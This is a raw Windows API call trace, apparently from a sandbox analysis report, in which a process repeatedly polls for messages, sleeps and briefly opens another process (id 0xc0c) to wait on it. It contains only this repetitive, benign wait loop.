[0250.710] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.710] Sleep (dwMilliseconds=0x1) [0250.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e4 [0250.724] WaitForSingleObject (hHandle=0x7e4, dwMilliseconds=0xa) returned 0x102 [0250.740] CloseHandle (hObject=0x7e4) returned 1 [0250.740] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.740] Sleep (dwMilliseconds=0x1) [0250.755] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f0 [0250.755] WaitForSingleObject (hHandle=0x7f0, dwMilliseconds=0xa) returned 0x102 [0250.774] CloseHandle (hObject=0x7f0) returned 1 [0250.774] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.774] Sleep (dwMilliseconds=0x1) [0250.787] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.787] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.802] CloseHandle (hObject=0x7f4) returned 1 [0250.802] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.802] Sleep (dwMilliseconds=0x1) [0250.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.820] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.833] CloseHandle (hObject=0x7f4) returned 1 [0250.833] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.834] Sleep (dwMilliseconds=0x1) [0250.849] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.849] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.865] CloseHandle (hObject=0x7f4) returned 1 [0250.865] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.865] Sleep (dwMilliseconds=0x1) [0250.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.883] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.905] CloseHandle (hObject=0x7f4) returned 1 [0250.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.905] Sleep (dwMilliseconds=0x1) [0250.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.912] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.928] CloseHandle (hObject=0x7f4) returned 1 [0250.929] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.929] Sleep (dwMilliseconds=0x1) [0250.943] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.943] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.959] CloseHandle (hObject=0x7f4) returned 1 [0250.959] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.959] Sleep (dwMilliseconds=0x1) [0250.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0250.974] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0250.990] CloseHandle (hObject=0x7f4) returned 1 [0250.990] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.990] Sleep (dwMilliseconds=0x1) [0251.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0251.005] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0251.021] CloseHandle (hObject=0x7f4) returned 1 [0251.021] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.021] Sleep (dwMilliseconds=0x1) [0251.037] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7f4 [0251.037] WaitForSingleObject (hHandle=0x7f4, dwMilliseconds=0xa) returned 0x102 [0251.052] CloseHandle (hObject=0x7f4) returned 1 [0251.052] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.053] Sleep (dwMilliseconds=0x1) [0251.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x804 [0251.068] WaitForSingleObject (hHandle=0x804, dwMilliseconds=0xa) returned 0x102 [0251.084] CloseHandle (hObject=0x804) returned 1 [0251.084] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.084] Sleep (dwMilliseconds=0x1) [0251.099] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x804 [0251.099] WaitForSingleObject (hHandle=0x804, dwMilliseconds=0xa) returned 0x102 [0251.115] CloseHandle (hObject=0x804) returned 1 [0251.115] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.115] Sleep (dwMilliseconds=0x1) [0251.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x808 [0251.133] WaitForSingleObject (hHandle=0x808, dwMilliseconds=0xa) returned 0x102 [0251.146] CloseHandle (hObject=0x808) returned 1 [0251.146] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.146] Sleep (dwMilliseconds=0x1) [0251.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x808 [0251.162] WaitForSingleObject (hHandle=0x808, dwMilliseconds=0xa) returned 0x102 [0251.177] CloseHandle (hObject=0x808) returned 1 [0251.177] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.177] Sleep (dwMilliseconds=0x1) [0251.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x808 [0251.193] WaitForSingleObject (hHandle=0x808, dwMilliseconds=0xa) returned 0x102 [0251.213] CloseHandle (hObject=0x808) returned 1 [0251.213] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.213] Sleep (dwMilliseconds=0x1) [0251.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x808 [0251.224] WaitForSingleObject (hHandle=0x808, dwMilliseconds=0xa) returned 0x102 [0251.240] CloseHandle (hObject=0x808) returned 1 [0251.240] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.240] Sleep (dwMilliseconds=0x1) [0251.255] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x81c [0251.256] WaitForSingleObject (hHandle=0x81c, dwMilliseconds=0xa) returned 0x102 [0251.271] CloseHandle (hObject=0x81c) returned 1 [0251.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.278] Sleep (dwMilliseconds=0x1) [0251.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x820 [0251.287] WaitForSingleObject (hHandle=0x820, dwMilliseconds=0xa) returned 0x102 [0251.306] CloseHandle (hObject=0x820) returned 1 [0251.306] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.306] Sleep (dwMilliseconds=0x1) [0251.318] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x824 [0251.318] WaitForSingleObject (hHandle=0x824, dwMilliseconds=0xa) returned 0x102 [0251.334] CloseHandle (hObject=0x824) returned 1 [0251.334] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.334] Sleep (dwMilliseconds=0x1) [0251.353] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x828 [0251.354] WaitForSingleObject (hHandle=0x828, dwMilliseconds=0xa) returned 0x102 [0251.365] CloseHandle (hObject=0x828) returned 1 [0251.365] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.365] Sleep (dwMilliseconds=0x1) [0251.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x828 [0251.381] WaitForSingleObject (hHandle=0x828, dwMilliseconds=0xa) returned 0x102 [0251.396] CloseHandle (hObject=0x828) returned 1 [0251.396] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.396] Sleep (dwMilliseconds=0x1) [0251.425] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x830 [0251.425] WaitForSingleObject (hHandle=0x830, dwMilliseconds=0xa) returned 0x102 [0251.427] CloseHandle (hObject=0x830) returned 1 [0251.427] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.427] Sleep (dwMilliseconds=0x1) [0251.443] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x830 [0251.443] WaitForSingleObject (hHandle=0x830, dwMilliseconds=0xa) returned 0x102 [0251.461] CloseHandle (hObject=0x830) returned 1 [0251.461] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.461] Sleep (dwMilliseconds=0x1) [0251.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x830 [0251.474] WaitForSingleObject (hHandle=0x830, dwMilliseconds=0xa) returned 0x102 [0251.490] CloseHandle (hObject=0x830) returned 1 [0251.490] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.490] Sleep (dwMilliseconds=0x1) [0251.505] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.505] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.521] CloseHandle (hObject=0x838) returned 1 [0251.521] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.521] Sleep (dwMilliseconds=0x1) [0251.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.537] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.552] CloseHandle (hObject=0x838) returned 1 [0251.552] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.552] Sleep (dwMilliseconds=0x1) [0251.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.568] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.583] CloseHandle (hObject=0x838) returned 1 [0251.583] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.584] Sleep (dwMilliseconds=0x1) [0251.601] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.602] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.615] CloseHandle (hObject=0x838) returned 1 [0251.615] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.615] Sleep (dwMilliseconds=0x1) [0251.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.631] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.646] CloseHandle (hObject=0x838) returned 1 [0251.646] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.646] Sleep (dwMilliseconds=0x1) [0251.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.662] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.677] CloseHandle (hObject=0x838) returned 1 [0251.677] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.677] Sleep (dwMilliseconds=0x1) [0251.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.693] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.709] CloseHandle (hObject=0x838) returned 1 [0251.709] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.709] Sleep (dwMilliseconds=0x1) [0251.725] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x838 [0251.725] WaitForSingleObject (hHandle=0x838, dwMilliseconds=0xa) returned 0x102 [0251.740] CloseHandle (hObject=0x838) returned 1 [0251.740] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.740] Sleep (dwMilliseconds=0x1) [0251.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x83c [0251.762] WaitForSingleObject (hHandle=0x83c, dwMilliseconds=0xa) returned 0x102 [0251.771] CloseHandle (hObject=0x83c) returned 1 [0251.771] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.771] Sleep (dwMilliseconds=0x1) [0251.787] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x848 [0251.787] WaitForSingleObject (hHandle=0x848, dwMilliseconds=0xa) returned 0x102 [0251.805] CloseHandle (hObject=0x848) returned 1 [0251.806] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.806] Sleep (dwMilliseconds=0x1) [0251.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x850 [0251.825] WaitForSingleObject (hHandle=0x850, dwMilliseconds=0xa) returned 0x102 [0251.834] CloseHandle (hObject=0x850) returned 1 [0251.834] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.834] Sleep (dwMilliseconds=0x1) [0251.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x854 [0251.852] WaitForSingleObject (hHandle=0x854, dwMilliseconds=0xa) returned 0x102 [0251.865] CloseHandle (hObject=0x854) returned 1 [0251.865] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.865] Sleep (dwMilliseconds=0x1) [0251.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0251.880] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0251.907] CloseHandle (hObject=0x858) returned 1 [0251.907] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.907] Sleep (dwMilliseconds=0x1) [0251.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0251.913] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0251.927] CloseHandle (hObject=0x858) returned 1 [0251.927] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.927] Sleep (dwMilliseconds=0x1) [0251.944] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0251.944] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0251.959] CloseHandle (hObject=0x858) returned 1 [0251.959] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.959] Sleep (dwMilliseconds=0x1) [0251.975] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0251.975] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0251.990] CloseHandle (hObject=0x858) returned 1 [0251.990] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0251.990] Sleep (dwMilliseconds=0x1) [0252.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.006] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.021] CloseHandle (hObject=0x858) returned 1 [0252.021] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.021] Sleep (dwMilliseconds=0x1) [0252.037] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.037] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.052] CloseHandle (hObject=0x858) returned 1 [0252.053] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.053] Sleep (dwMilliseconds=0x1) [0252.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.068] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.083] CloseHandle (hObject=0x858) returned 1 [0252.083] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.083] Sleep (dwMilliseconds=0x1) [0252.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.105] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.115] CloseHandle (hObject=0x858) returned 1 [0252.115] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.115] Sleep (dwMilliseconds=0x1) [0252.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.130] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.147] CloseHandle (hObject=0x858) returned 1 [0252.147] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.147] Sleep (dwMilliseconds=0x1) [0252.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.162] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.177] CloseHandle (hObject=0x858) returned 1 [0252.178] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.178] Sleep (dwMilliseconds=0x1) [0252.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.193] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.209] CloseHandle (hObject=0x858) returned 1 [0252.209] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.209] Sleep (dwMilliseconds=0x1) [0252.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.224] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.240] CloseHandle (hObject=0x858) returned 1 [0252.240] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.240] Sleep (dwMilliseconds=0x1) [0252.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.256] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.271] CloseHandle (hObject=0x858) returned 1 [0252.271] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.271] Sleep (dwMilliseconds=0x1) [0252.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x858 [0252.287] WaitForSingleObject (hHandle=0x858, dwMilliseconds=0xa) returned 0x102 [0252.302] CloseHandle (hObject=0x858) returned 1 [0252.302] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.302] Sleep (dwMilliseconds=0x1) [0252.320] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.320] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.334] CloseHandle (hObject=0x874) returned 1 [0252.334] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.334] Sleep (dwMilliseconds=0x1) [0252.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.349] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.365] CloseHandle (hObject=0x874) returned 1 [0252.365] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.365] Sleep (dwMilliseconds=0x1) [0252.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.380] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.396] CloseHandle (hObject=0x874) returned 1 [0252.396] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.396] Sleep (dwMilliseconds=0x1) [0252.412] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.412] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.438] CloseHandle (hObject=0x874) returned 1 [0252.438] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.438] Sleep (dwMilliseconds=0x1) [0252.443] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.443] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.458] CloseHandle (hObject=0x874) returned 1 [0252.458] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.459] Sleep (dwMilliseconds=0x1) [0252.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.474] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.490] CloseHandle (hObject=0x874) returned 1 [0252.490] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.490] Sleep (dwMilliseconds=0x1) [0252.505] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.506] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.521] CloseHandle (hObject=0x874) returned 1 [0252.521] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.521] Sleep (dwMilliseconds=0x1) [0252.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.537] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.552] CloseHandle (hObject=0x874) returned 1 